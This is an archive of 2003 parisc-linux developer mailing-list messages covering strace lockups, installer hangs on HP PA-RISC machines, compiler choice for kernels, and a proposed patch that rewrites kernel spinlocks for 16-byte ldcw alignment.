List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20216

Hi Grant,

Just a follow up:

>-- Original Message --
>From: "Joel Soete" <soete.joel@tiscali.be>
>To: "Grant Grundler" <grundler@parisc-linux.org>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Mon, 24 Nov 2003 08:21:28 +0100
>Subject: Re: [parisc-linux] strace locks up 2.4.22-pa14
>
>
>

>>ok. TBH, I have no clue then. It might be possible to attach strace to
>>a running lp deamon, redirect strace output to /dev/console and then
>>compore what happens different on the b2k when a print job is started.
>
>Good idea, I will try to see howto
>
Oops, I try first to strace lpd ("strace -f -p xxx 2>&1 | tee Strace-lpd.log")on
the b180 (running a 2.4.19 + lvm (aka dm) support) but this "locked up" too.

Unfortunately, I don't have anymore a 'woody' install to try to trace back
when the strace pb appears :(.

btw since my last update (last friday), I couldn't any more print with this
b180 too.

J.


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym-2.1.18i backport?
Date: Tue, 25 Nov 2003 12:19:15 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20031125121915.GF11694@parcelfarce.linux.theplanet.co.uk>
References: <3FC12C9A.9050903@tiscali.be> <20031124050535.GD23224@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622998 2301 80.91.229.3 (22 Nov 2014 02:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:18 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 25 05:19:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5C7D74840; Tue, 25 Nov 2003 05:19:17 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AOc9z-0007jA-UE; Tue, 25 Nov 2003 12:19:15 +0000
Content-Disposition: inline
In-Reply-To: <20031124050535.GD23224@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20217

On Sun, Nov 23, 2003 at 10:05:35PM -0700, Grant Grundler wrote:
> I'm considereing do that backport once willy feels the code is "stable".
> We have to sort out the u160 support - it's not very clear how it is
> supposed to work and it doesn't seem to.

Yeah, I have some patches, but they're not working very well yet.

> > Is there some interest? faisible?
> 
> yes and eventually.

I'm completely uninterested in doing this, FWIW.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-ld segfault
Date: Tue, 25 Nov 2003 16:05:01 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20031125160501.GI11694@parcelfarce.linux.theplanet.co.uk>
References: <20031124070724.GB26585@colo.lackof.org> <20031124071550.GZ975@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622998 2306 80.91.229.3 (22 Nov 2014 02:23:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:18 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 25 09:05:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16E9C4843
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Nov 2003 09:05:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AOfgT-0002pM-F0; Tue, 25 Nov 2003 16:05:01 +0000
Content-Disposition: inline
In-Reply-To: <20031124071550.GZ975@tausq.org>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20218

On Sun, Nov 23, 2003 at 11:15:51PM -0800, Randolph Chung wrote:
> i wanted to update the package to use a newer gcc (it's using 3.0.4
> right now) but gcc-3.3 doesn't seem to produce working kernels for
> hppa64-linux :( for now i guess we want to build gcc-3.0.4+latest
> binutils

Since gcc after 3.0 won't produce functional SMP kernels for 32-bit
either, there's really no point in moving from 3.0 for 32-bit either.
I guess we need to rename it kgcc or something ;-(

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CrazyCat from CPF" <crazycat@c-p-f.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation blocks
Date: Tue, 25 Nov 2003 17:34:14 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <005301c3b371$f66d9940$65c0a8c0@directannonces.com>
Reply-To: "CrazyCat from CPF" <crazycat@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622999 2374 80.91.229.3 (22 Nov 2014 02:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:19 +0000 (UTC)
To: "parisc linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 25 09:34:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from da-horus.directannonces.com (unknown [81.80.128.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id D12D54840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Nov 2003 09:34:03 -0700 (MST)
Original-Received: from crazycat ([192.168.192.101]) by da-horus.directannonces.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Tue, 25 Nov 2003 17:34:14 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 25 Nov 2003 16:34:14.0335 (UTC) FILETIME=[F66A64F0:01C3B371]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20219

Hi there,

I finally bypass my trouble with initializing HD by formating it on another
computer.
So, the installation begins well, but when arriving at the first real step
(installing kernel and modules), the system want and tries to create rescue
disk.

when doing a df, I saw that /floppy is /dev/loop0
And the computer stays blocked at this point...

I've plug a floppy, but no more results....

Can someone tell me how to pass this step?

CrazyCat from C-P-F.org



From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation blocks
Date: Tue, 25 Nov 2003 11:57:37 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20031125185737.GB15177@colo.lackof.org>
References: <005301c3b371$f66d9940$65c0a8c0@directannonces.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622999 2376 80.91.229.3 (22 Nov 2014 02:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:19 +0000 (UTC)
Cc: parisc linux <parisc-linux@lists.parisc-linux.org>
To: CrazyCat from CPF <crazycat@c-p-f.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 25 11:57:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 086574840
	for <parisc-linux@lists.parisc-linux.org>; Tue, 25 Nov 2003 11:57:39 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3C06C298034; Tue, 25 Nov 2003 11:57:38 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 14925-10; Tue, 25 Nov 2003 11:57:37 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A423429802D; Tue, 25 Nov 2003 11:57:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <005301c3b371$f66d9940$65c0a8c0@directannonces.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20220

On Tue, Nov 25, 2003 at 05:34:14PM +0100, CrazyCat from CPF wrote:
> I've plug a floppy, but no more results....

floppy is not supported - needs work.

> Can someone tell me how to pass this step?

<arrow down> key to skip this step?

I've never created a "rescue floppy" for any parisc system.

grant


From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RFC] rewrite kernel spinlock code to work better with gcc
Date: Tue, 25 Nov 2003 23:07:14 -0800
Lines: 186
Approved: news@gmane.org
Message-ID: <20031126070714.GN975@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622999 2380 80.91.229.3 (22 Nov 2014 02:23:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 00:03:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91E114840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 00:03:12 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 05579CD294; Tue, 25 Nov 2003 23:07:15 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20221

This has been discussed in bits and pieces several times on the list,
let me summarize:

- On at least some PA processors, addresses passed to ldcw() must be
16-byte aligned
- gcc doesn't guarantee alignment of automatic variables even if the
structure is marked with aligned(16). In gcc-3.0.x, this worked most of
the time because stack alignment was set to 128 bits, but this caused
various problems so the change was reverted in later revisions of gcc.

In glibc, Carlos and Dave implemented "auto-aligning" locks by using an
array of 4 ints and doing ldcw on the 16-byte aligned word inside that
array. This makes the code work all the time irregardless of how it is
placed in memory. Here's a patch that implements similar locking
mechanisms for the kernel. It compiles, but as SMP still doesn't boot
on 2.6, i haven't really tried to run it. 

there is some concern this will make structures bigger, but at least 
in some situations this actually makes them smaller. e.g.
if you have:

struct { int x; spinlock_t lock; };

with the current scheme (using the aligned(16) attribute) the structure
is 32 bytes. with the new scheme it is only 20 bytes. actually i don't
think there are any cases where it will make any structures bigger 
than they are now..... 

Any comments?

Index: include/asm-parisc/spinlock.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/spinlock.h,v
retrieving revision 1.1
diff -u -p -r1.1 spinlock.h
--- include/asm-parisc/spinlock.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/spinlock.h	26 Nov 2003 07:00:12 -0000
@@ -4,35 +4,42 @@
 #include <asm/system.h>
 
 /* Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
- * since it only has load-and-zero.
+ * since it only has load-and-zero. Moreover, at least on some PA processors,
+ * the semaphore address has to be 16-byte aligned.
  */
 
 #undef SPIN_LOCK_UNLOCKED
-#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) { { 1, 1, 1, 1 } }
 
-#define spin_lock_init(x)	do { (x)->lock = 1; } while(0)
+#define spin_lock_init(x)	do { *(x) = SPIN_LOCK_UNLOCKED; } while(0)
 
-#define spin_is_locked(x) ((x)->lock == 0)
-
-#define spin_unlock_wait(x)	do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
-
-#if 1
-#define _raw_spin_lock(x) do { \
-	while (__ldcw (&(x)->lock) == 0) \
-		while (((x)->lock) == 0) ; } while (0)
-
-#else
-#define _raw_spin_lock(x) \
-	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-#endif
+static inline int spin_is_locked(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	return *a == 0;
+}
+
+#define spin_unlock_wait(x)	do { barrier(); } while(spin_is_locked(x))
+
+static inline void _raw_spin_lock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	while (__ldcw(a) == 0)
+		while (*a == 0);
+}
+
+static inline void _raw_spin_unlock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	*a = 1;
+}
+
+static inline int _raw_spin_trylock(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	return __ldcw(a) != 0;
+}
 	
-#define _raw_spin_unlock(x) \
-	do { (x)->lock = 1; } while(0)
-
-#define _raw_spin_trylock(x) (__ldcw(&(x)->lock) != 0)
-
-
-
 /*
  * Read-write spinlocks, allowing multiple readers
  * but only one writer.
@@ -42,7 +49,7 @@ typedef struct {
 	volatile int counter;
 } rwlock_t;
 
-#define RW_LOCK_UNLOCKED (rwlock_t) { {1}, 0 }
+#define RW_LOCK_UNLOCKED (rwlock_t) { { { 1, 1, 1, 1 } }, 0 }
 
 #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)
 
Index: include/asm-parisc/system.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/system.h,v
retrieving revision 1.1
diff -u -p -r1.1 system.h
--- include/asm-parisc/system.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/system.h	26 Nov 2003 07:00:12 -0000
@@ -145,6 +145,19 @@ static inline void set_eiem(unsigned lon
 	__ret; \
 })
 
+/* Because kmalloc only guarantees 8-byte alignment for kmalloc'd data,
+   and GCC only guarantees 8-byte alignment for stack locals, we can't
+   be assured of 16-byte alignment for atomic lock data even if we
+   specify "__attribute ((aligned(16)))" in the type declaration.  So,
+   we use a struct containing an array of four ints for the atomic lock
+   type and dynamically select the 16-byte aligned int from the array
+   for the semaphore.  */
+#define __PA_LDCW_ALIGNMENT 16
+#define __ldcw_align(a) ({ \
+  unsigned long __ret = (unsigned long) a;                     		\
+  __ret = (__ret + __PA_LDCW_ALIGNMENT - 1) & ~(__PA_LDCW_ALIGNMENT - 1); \
+  (unsigned int *) __ret;                                               \
+})
 
 #ifdef CONFIG_SMP
 /*
@@ -152,7 +165,7 @@ static inline void set_eiem(unsigned lon
  */
 
 typedef struct {
-	volatile unsigned int __attribute__((aligned(16))) lock;
+	volatile unsigned int lock[4];
 } spinlock_t;
 #endif
Index: include/asm-parisc/atomic.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/atomic.h,v
retrieving revision 1.5
diff -u -p -r1.5 atomic.h
--- include/asm-parisc/atomic.h	22 Sep 2003 14:28:12 -0000	1.5
+++ include/asm-parisc/atomic.h	26 Nov 2003 07:00:12 -0000
@@ -24,11 +24,18 @@
 
 extern spinlock_t __atomic_hash[ATOMIC_HASH_SIZE];
 /* copied from <asm/spinlock.h> and modified */
-#  define SPIN_LOCK(x) \
-	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-	
-#  define SPIN_UNLOCK(x) \
-	do { (x)->lock = 1; } while(0)
+static inline void SPIN_LOCK(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	while (__ldcw(a) == 0)
+		while (*a == 0);
+}
+
+static inline void SPIN_UNLOCK(spinlock_t *x)
+{
+	volatile unsigned int *a = __ldcw_align(x);
+	*a = 1;
+}
 #else
 #  define ATOMIC_HASH_SIZE 1
 #  define ATOMIC_HASH(a)	(0)


randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Install failure: C240, 3.0r1, 2003.09.24 and 2003.10.22 net inst isos
Date: Wed, 26 Nov 2003 00:30:37 -0700
Lines: 94
Approved: news@gmane.org
Message-ID: <200311260030.37916.nick@byu.edu>
References: <200310271933.00659.nick@byu.edu> <20031028045531.GA21288@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623000 2383 80.91.229.3 (22 Nov 2014 02:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:20 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 00:30:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sfcn.org (unknown [63.117.233.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id E91204840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 00:30:50 -0700 (MST)
Original-Received: from nick.leippe.com not authenticated [66.237.85.26]
	by sfcn.org with NetMail SMTP Agent $Revision:   3.22.1.5  $ on Novell NetWare;
	Wed, 26 Nov 2003 00:30:38 -0700
User-Agent: KMail/1.5.2
In-Reply-To: <20031028045531.GA21288@colo.lackof.org>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20222

On Monday 27 October 2003 09:55 pm, Grant Grundler wrote:
> Nicholas,
> thanks for the bug report.
> Please see http://www.parisc-linux.org/faq/kernelbug-howto.html
>
> more questions/comments below.
>
> On Mon, Oct 27, 2003 at 08:33:00PM -0600, Nicholas Leippe wrote:
> > Hello all,
> >
> > I just got my new C240 set up and attempted to install.  With either
> > of
> >
> > palinux-2.4.22-pa9-20030924-netinst.iso
> > palinux-2.4.22-pa13-20031022-netinst.iso
> >
> > it boots into the debian installer and then promptly hangs at the
> > 'select language' menu.

Okay, I haven't spent the time yet to get any detailed info on these 
failures, but I thought I'd at least report the behavior I've observed so 
far.  With graphical install on any of:

3.0r1
palinux-2.4.22-pa9-20030924-netinst.iso
palinux-2.4.22-pa13-20031022-netinst.iso

I get various, repeatable failures before getting to or past the first 
menu.  However, I can complete a successful install from serial console 
with at least two of them.  However, once installed and rebooted, if I 
attempt to install additional packages, after a while the machine will 
freeze solid while apt is trying to do it's thing.

With the latest:

palinux-2.4.22-pa17-20031119-netinst.iso

During graphical install, it successfully gets through the menus, but once 
it starts the package installation cp get's stuck in the D state.  I can 
alt-f2 or whatever to another vc and use top to see-but the installer is 
thoroughly hung.

Just last weekend, I successfully installed hpux 10.20 from cd with no 
hiccups whatsoever, and it still runs like a peach.  So, I'm leaning even 
further away from suspecting a hardware fault.

My machine is:
C240
1.5GB ram (edo)
4.5GB UW hdd (Seag. ST34572W)
CDROM (Tosh. XM5701-B)
fdd
A4450A (eg) video

Probably irrelevant details, but ya never know.  Perhaps an issue with 
HIMEM since it's >1GB ?

>
> See "Hung Kernels" section in the FAQ.
>
> Did you try to install with serial console or graphics console?
> With serial console, it's easier to capture the output.
> And it's possible this bug only affects graphical console.
>
> >   I dug around the archives and found an email about this
> > from several years ago, but no resolution was posted.
>
> URL for mail you found?

Sorry, can't remember what it was now.

>
> > So I dug out my 3.0r1 cd to try but got an HPMC a little ways into
> > the kernel boot.  I know the 3.0r1 cd is good, since I successfully
> > installed a C180 with it (besides checking the md5s, which I also did
> > for the netinst isos).

...

> >
> > Any ideas?  Need more info?--just tell me what and how to get it.
>
> "in io" output from the boot console handler would also be good.
>

I'll dig into this a bit more when I get time.  If any of these details 
help narrow it down any, let me know what details to go for first.  
Otherwise I'll see if I can grab some details from the serial console 
&etc. as requested before in the first reply.


Nick



From - Thu Nov 08 21:30:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CrazyCat from CPF" <crazycat@c-p-f.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation blocks
Date: Wed, 26 Nov 2003 08:47:19 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <006701c3b3f1$84f5fe30$65c0a8c0@directannonces.com>
References: <005301c3b371$f66d9940$65c0a8c0@directannonces.com> <20031125185737.GB15177@colo.lackof.org>
Reply-To: "CrazyCat from CPF" <crazycat@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623000 2387 80.91.229.3 (22 Nov 2014 02:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:20 +0000 (UTC)
Cc: "parisc linux" <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 26 00:47:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from da-horus.directannonces.com (unknown [81.80.128.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55B084840
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Nov 2003 00:47:05 -0700 (MST)
Original-Received: from crazycat ([192.168.192.101]) by da-horus.directannonces.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Wed, 26 Nov 2003 08:47:19 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-OriginalArrivalTime: 26 Nov 2003 07:47:19.0517 (UTC) FILETIME=[84EDC0D0:01C3B3F1]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
